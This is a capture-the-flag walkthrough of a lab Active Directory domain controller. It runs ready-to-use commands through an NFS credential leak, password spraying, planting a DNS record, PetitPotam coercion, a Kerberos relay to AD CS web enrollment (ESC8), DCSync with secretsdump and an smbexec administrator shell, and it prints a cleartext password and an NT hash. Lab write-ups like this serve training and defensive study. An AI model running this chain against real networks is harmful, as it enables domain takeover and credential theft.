Overview
VulnCicada is a Windows Active Directory domain controller (DC-JPQ225.cicada.vl, domain cicada.vl) that leaks a set of usernames and a cleartext password through an anonymously mountable NFS share. That password is valid for a low-privileged domain user, which is enough to reach a Certificate Authority web enrollment endpoint vulnerable to ESC8. Because NTLM authentication is disabled domain-wide, the usual NTLM relay path for ESC8 doesn’t work directly — instead, the DC has to be coerced into authenticating over Kerberos to an attacker-controlled hostname, which is achieved by planting a malicious DNS record and relaying that authentication into the CA’s enrollment page. The resulting certificate is issued for the domain controller’s own machine account, which is enough to DCSync the domain and recover the Administrator’s hash.
Enumeration
Nmap Scan
We started with an Nmap scan to identify the services running on the target.
VulnCicada ➜ nmap -sV -sC 10.129.234.48

Nmap Scan
The scan reveals the following open ports and services:
| Port | Service | Description |
|---|---|---|
| 53 | DNS | Simple DNS Plus, resolves names for the domain |
| 80 | HTTP | Microsoft IIS httpd 10.0, with the TRACE method enabled |
| 88 | Kerberos | Microsoft Windows Kerberos, used for domain authentication |
| 111 | RPCbind | ONC RPC portmapper (RPC #100000), which lists the RPC services on the host such as NFS and mountd |
| 135 | MSRPC | Microsoft Windows RPC endpoint mapper |
| 139 | NetBIOS-SSN | Microsoft Windows NetBIOS session service |
| 389 | LDAP | Active Directory LDAP (Domain: cicada.vl0.) |
| 445 | SMB | Microsoft-DS, SMB file sharing |
| 464 | kpasswd5 | Kerberos password change service |
| 593 | RPC over HTTP | Microsoft Windows RPC over HTTP 1.0 |
| 636 | LDAPS | LDAP over SSL, with a certificate issued to DC-JPQ225.cicada.vl |
| 2049 | NFS | Network File System (nlockmgr, RPC #100021), which can expose file shares |
| 3268 | LDAP (GC) | Active Directory Global Catalog LDAP |
| 3269 | LDAPS (GC) | Global Catalog LDAP over SSL |
| 3389 | RDP | Microsoft Terminal Services |
The combination of DNS, Kerberos, LDAP and SMB confirms that this is a Windows Active Directory domain controller. NFS is unusual on a domain controller and worth checking for exposed shares.
NFS
The Nmap scan flagged NFS as open. We enumerate the exported shares:
VulnCicada ➜ showmount -e 10.129.234.48

NFS Share Identified
A share named profiles is exported.
Mounting the NFS Share
The export allows Everyone to mount, so we mount it directly under /tmp:
VulnCicada ➜ sudo mount -t nfs 10.129.234.48:/profiles /tmp/

Connect To Share
Information Disclosure
Listing the mounted share reveals folders named after what look like domain usernames:
VulnCicada ➜ find /tmp/.

Discovered Images
Two .png files stand out among the folders. We copy them to our machine and open them one of them, marketing.png, contains a cleartext password.

Cleartext Password Discovred
Authenticated Enumeration
Validating the Credential
Combining the usernames found on the share with the password from marketing.png, we use NetExec to spray the password against the user list:
VulnCicada ➜ nxc smb DC-JPQ225.cicada.vl -u users.list -p 'Cicada123' -k

Successvol Authenticated
The credential Rosie.Powell:Cicada123 is valid.
RID Brute Force
With a valid credential in hand, we enumerate the rest of the domain’s users via a RID brute force:
VulnCicada ➜ nxc smb DC-JPQ225.cicada.vl -u Rosie.Powell -p 'Cicada123' -k --rid-brute

RID Brute Performed
Share Enumeration
Checking share access for Rosie.Powell shows read access to CertEnroll and read/write access to profiles$:
VulnCicada ➜ nxc smb DC-JPQ225.cicada.vl -u Rosie.Powell -p 'Cicada123' -k --shares

Share Permissions
Investigating the CertEnroll Share
profiles$ has nothing useful in it, but the presence of a CertEnroll share is notable it’s normally used by Active Directory Certificate Services (AD CS) to publish CA certificates and CRLs, which suggests a Certificate Authority is running on the domain.
To browse it, we first need a Kerberos ticket, since authentication to this domain controller requires Kerberos. We generate a krb5.conf for the domain and request a ticket:
VulnCicada ➜ nxc smb DC-JPQ225.cicada.vl -u Rosie.Powell -p 'Cicada123' --generate-krb5-file krb5.conf -k
VulnCicada ➜ export KRB5_CONFIG=$(pwd)/krb5.conf
kinit [email protected]

Kerberos Ticket Request
With a ticket cached, we connect to the share through smbclient:
VulnCicada ➜ smbclient -k //DC-JPQ225.cicada.vl/CertEnroll

Connect To Share
The share itself holds nothing of immediate value, but confirming AD CS is present is enough to shift our focus to certificate template misconfigurations.
Certificate Enumeration
We use Certipy to check the Certificate Authority for misconfigured templates we can abuse:
VulnCicada ➜ certipy find -target DC-JPQ225.cicada.vl -u [email protected] -p Cicada123 -k -vulnerable -stdout

Perfomed Certificate Enumeration
Based on our enumeration, we have identified that the target machine has a misconfiguration which led to ESC8.
Exploitation
ESC8 Explanation
Per Certipy’s documentation, ESC8 is an NTLM relay attack against AD CS’s HTTP-based enrollment endpoint a web interface that lets users and computers request certificates as an alternative to the standard RPC-based enrollment.
The straightforward version of this attack coercing the DC to authenticate to us and relaying that authentication to the CA web enrollment page doesn’t work here, because the system is patched against self-relay to the same machine.
Relaying Kerberos Instead of NTLM
Since NTLM authentication is disabled domain-wide (NTLM:False in the Nmap/NetExec output), the usual NTLM-relay flavor of ESC8 is closed off entirely not just the self-relay case. We instead use the technique described in this post, which relays Kerberos authentication rather than NTLM.
The idea is to make the DC authenticate, over Kerberos, to a hostname that we control the DNS record for. Because the SPN the DC requests is based on that hostname, and we control where that hostname resolves to, we can direct the authentication at our own listener and relay it into the CA’s web enrollment endpoint.
Step 1: Planting a DNS Record
We use dnstool.py (or bloodyAD, which also supports this) to add a DNS record pointing at our attacking machine:
VulnCicada ➜ bloodyAD -u Rosie.Powell -p Cicada123 -d cicada.vl -k --host DC-JPQ225.cicada.vl add dnsRecord DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAX 10.10.14.115
VulnCicada ➜ dig @10.129.234.48 DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAI.cicada.vl A +short

DNS Record Added
Step 2: Coercing Authentication
With our Certipy relay listener running, we coerce the DC into authenticating to the hostname we just registered. PetitPotam run standalone failed with a Kerberos checksum error, but the same coercion technique worked through NetExec’s coerce_plus module:
(.venv) PetitPotam (main) ➜ nxc smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k -M coerce_plus -o LISTENER=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAI METHOD=PetitPotam

Successfully Exploited ESC8
Step 3: Retrieving the NT Hash
The coercion succeeds, the relay catches the authentication, and a certificate is issued for the domain controller’s own machine account (DC-JPQ225$).
Authenticating with that certificate gives us a Kerberos ticket and, via U2U, the account’s NT hash skipping straight to a privileged machine identity rather than a user-level foothold:
VulnCicada ➜ certipy auth -pfx dc-jpq225.pfx -dc-ip 10.129.234.48

Successfully Retrieved Hash
Step 4: DCSync
Domain controller machine accounts have replication rights by default, so we use this access to DCSync the Administrator’s hash. Since NTLM is disabled, we authenticate over Kerberos rather than passing the hash directly.
Our first attempt failed because a bare IP address can’t be used to build a valid Kerberos SPN; providing the DC’s hostname fixes it:
Failed — no hostname, so no valid SPN could be built:
VulnCicada ➜ secretsdump.py -k 'CICADA.VL/DC-JPQ225$'@10.129.234.48 -no-pass -just-dc-user Administrator
Succeeded — hostname provided, giving a valid SPN:
VulnCicada ➜ secretsdump.py -k 'CICADA.VL/[email protected]' -no-pass -dc-ip 10.129.234.48 -just-dc-user Administrator

Retrieved Administrators NT Hash
Login
Since NTLM is disabled, we can’t pass Administrator’s NT hash directly instead, we use it to request a TGT and authenticate over Kerberos.
Requesting a TGT
VulnCicada ➜ getTGT.py cicada.vl/Administrator -hashes :85a0da53871a9d56b6cd05deda3a5e87
VulnCicada ➜ export KRB5CCNAME=Administrator.ccache
Authenticating with smbexec
VulnCicada ➜ smbexec.py cicada.vl/[email protected] -k -no-pass -dc-ip 10.129.234.48

Successfully Gained Administrative Access
This gives us a command shell as Administrator on the domain controller.

